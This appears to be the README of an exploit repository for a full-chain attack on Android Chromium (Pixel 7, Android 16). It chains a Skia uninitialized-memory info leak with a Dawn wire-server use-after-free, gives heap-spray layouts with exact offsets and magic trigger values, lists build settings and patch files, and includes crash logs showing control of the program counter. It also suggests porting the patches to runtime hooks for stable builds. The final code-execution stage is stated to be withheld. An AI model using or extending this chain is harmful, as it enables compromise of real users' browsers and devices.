
Full-chain exploit for Android Chromium combining CVE-2026-11057 info leak and CVE-2026-5281 use-after-free to achieve vtable hijack and arbitrary code execution.
Pixel 7 Android 16 ARM64
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date: Mon Mar 9 12:48:07 2026 -0700
This repository combines CVE-2026-11057 (Skia uninitialized glyph image memory) and CVE-2026-5281 (Dawn wire server DeviceInfo use-after-free) into a full chain. All modifications are renderer-side; the GPU-process code is unchanged:
Info leak (CVE-2026-11057) — Trigger an uninitialized glyph image buffer via canvas text rendering, read back pointers from the GPU-process heap, validate them with arithmetic runs, derive the PartitionAlloc pool base, and compute the fake Server target M = POOL + 0x202A08000 (calibrated offset).
CC spray — createBuffer(label="CCM:<m>:<n>") triggers injection of 3000 incomplete ChunkedCommands (10KB bucket, remainingSize=1, kept alive in the wire server's mChunkedCommands). The payload fills the region around M with a fake Server laid out for Android arm64: MutexProtected vptr at +0xB20, ChunkedCommandSerializer at +0xB50/+0xB58, fake CommandSerializer/vtable at +0xC00/+0xD00.
5281 trigger + occupy — queue.writeBuffer(buffer, 0x414141, ...) first calls Unregister(Device) to free the 16-byte DeviceInfo, then injects a 16-byte occupy ChunkedCommand to reclaim that slot and overwrite info->server with M, and finally triggers a validation error with an out-of-bounds offset.
Dangling callback → vtable hijack — The uncaptured-error callback dereferences info->server = M (fake Server): the zeroed mutexes pass, execution reaches OnUncapturedError → SerializeCommand, and the relative-vtable indirect call hits our fake vtable, giving pc = fake_vtable + controlled int32 offset, demonstrated by pc = 0x7641414141.
Note: Android arm64 Chromium uses relative vtables (
-fexperimental-relative-c++-abi-vtables); vtable entries are 32-bit relative offsets rather than absolute function pointers, so the PoC uses a controlled int32 offset as the marker at the vtable-hijack point.
On the test device, the full chain reaches the vtable-hijack crash with an almost 100% success rate; the leak stage may occasionally require several automatic reloads before it succeeds.
SkStrike.cpp.patch — CVE-2026-11057 leak trigger. FlattenGlyphsByType() rewrites the strike payload so the GPU process creates a SkGlyph with fImage == nullptr, eventually reading an uninitialized image buffer to leak heap pointers.Device.cpp.patch — Dawn wire client CC spray. APICreateBuffer() parses the CCM: label, builds the Android arm64 fake Server payload, and injects N incomplete ChunkedCommands that stay alive in the GPU process.ApiProcs.cpp.patch — CVE-2026-5281 trigger + occupy. On the QueueWriteBuffer magic offset 0x414141, it calls Unregister(Device) to free DeviceInfo, injects a 16-byte ChunkedCommand to reclaim the slot and set info->server = M, then proceeds with an out-of-bounds offset to fire the dangling callback.This ExP is only disclosed up to the vtable hijack step (controlled indirect call target, pc = base+0x41414141). The steps from the controlled jump onward, as well as the RCE implementation, are kept confidential and are not included in this repository.
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true
treat_warnings_as_errors = false
adb logcat | grep DEBUG on PCCurrent exploit stack:
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG : pid: 11188, tid: 11211, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG : x0 0000007602a08b20 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG : x4 00000000000000b1 x5 000000760148b520 x6 0000000001414d4c x7 0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG : x8 0000007b272cd790 x9 0000007641414141 x10 0000000000000000 x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG : x16 0000007b230ada10 x17 0000007e66d55520 x18 0000007b25fd8000 x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG : x20 00000000000000b1 x21 00000076000f5c40 x22 0000000000000002 x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG : x24 0000007602a08000 x25 0000007b230e7000 x26 0000007b1897c2c6 x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG : x28 0000007b22fa7728 x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG : lr 0000007b20309184 sp 0000007b272cd770 pc 0000007641414141 pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG : #00 pc 000000003dd8c141 [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG : #01 pc 00000000084ac180 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #02 pc 00000000084ab1fc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #03 pc 0000000002a1988c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #04 pc 0000000002a36b4c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #05 pc 00000000029de990 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #06 pc 00000000084ae164 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #07 pc 00000000084956b8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #08 pc 0000000008dd61f0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #09 pc 0000000008dd6300 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #10 pc 0000000008dd3dd0 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #11 pc 00000000065fe184 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #12 pc 00000000065fd1dc /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #13 pc 00000000065faf6c /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #14 pc 00000000065fac54 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #15 pc 0000000005a63054 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #16 pc 00000000065ff294 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #17 pc 000000000547e288 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #18 pc 00000000058de7ec /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #19 pc 0000000005d66b70 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #20 pc 000000000633da58 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #21 pc 00000000063431e8 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #22 pc 0000000007a2eb60 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #23 pc 0000000007a2e730 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #24 pc 0000000007a2dd14 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #25 pc 0000000007a2da24 /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG : #26 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #27 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #28 pc 00000000002890ec /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG : #29 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG : #30 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #31 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #32 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #33 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG : #34 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG : #35 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)
Full exploit stack(Jump to an arbitrary 64-bit address):
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG : pid: 17875, tid: 17891, name: CrGpuMain >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG : x0 0000007602a08b68 x1 0000007b272cd808 x2 0000000000000002 x3 00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG : x4 00000000000000b1 x5 0000007600024c40 x6 0000000001414d4c x7 0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG : x8 4141414141414141 x9 0000007b76d934a0 x10 0000000000000000 x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG : x12 0000000000000000 x13 0000000000000002 x14 0000007e7d733040 x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG : x16 0000007b24f19ab0 x17 0000007e66d55520 x18 0000007b266dc000 x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG : x20 00000000000000b1 x21 00000076000c9f40 x22 0000000000000002 x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG : x24 0000007602a08000 x25 0000007b24f53000 x26 0000007b1a7e82c6 x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG : x28 0000007b24e137c8 x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG : lr 0000007b76d934b0 sp 0000007b272cd770 pc 0041414141414141 pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG : #00 pc 0041414141414141 <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG : #01 pc 0000000000b0f4ac /.....
06-12 01:02:33.858 17983 17983 F DEBUG : #02 pc 00000000001cdffc [anon:partition_alloc]
In the stable version of Chromium, directly applying patches may not be feasible or desirable. So, you can rewrite the patch logic as hook functions to intercept and modify the relevant processing functions at runtime.
exploit.html — Page orchestration: leak primitive (groom/draw/readCell/verifyRuns/derivePoolBase), CC spray, and a standalone exploit5281() trigger; on failure it cleans up the spray state and reloads so stages do not interfere.